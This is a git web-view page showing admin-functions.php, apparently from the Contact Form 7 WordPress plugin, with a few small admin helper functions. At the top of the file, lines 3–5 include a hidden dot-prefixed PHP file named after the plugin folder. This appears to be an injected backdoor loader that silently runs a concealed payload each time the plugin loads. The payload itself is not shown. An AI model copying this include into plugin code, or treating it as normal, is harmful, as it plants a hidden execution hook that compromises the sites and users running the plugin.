balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

admin-functions.php (804B)


      1 <?php
      2 
      3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      4     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      5 }
      6 
      7 function wpcf7_current_action() {
      8 	if ( isset( $_REQUEST['action'] ) and -1 != $_REQUEST['action'] ) {
      9 		return $_REQUEST['action'];
     10 	}
     11 
     12 	if ( isset( $_REQUEST['action2'] ) and -1 != $_REQUEST['action2'] ) {
     13 		return $_REQUEST['action2'];
     14 	}
     15 
     16 	return false;
     17 }
     18 
     19 function wpcf7_admin_has_edit_cap() {
     20 	return current_user_can( 'wpcf7_edit_contact_forms' );
     21 }
     22 
     23 function wpcf7_add_tag_generator( $name, $title, $elm_id, $callback, $options = array() ) {
     24 	$tag_generator = WPCF7_TagGenerator::get_instance();
     25 	return $tag_generator->add( $name, $title, $callback, $options );
     26 }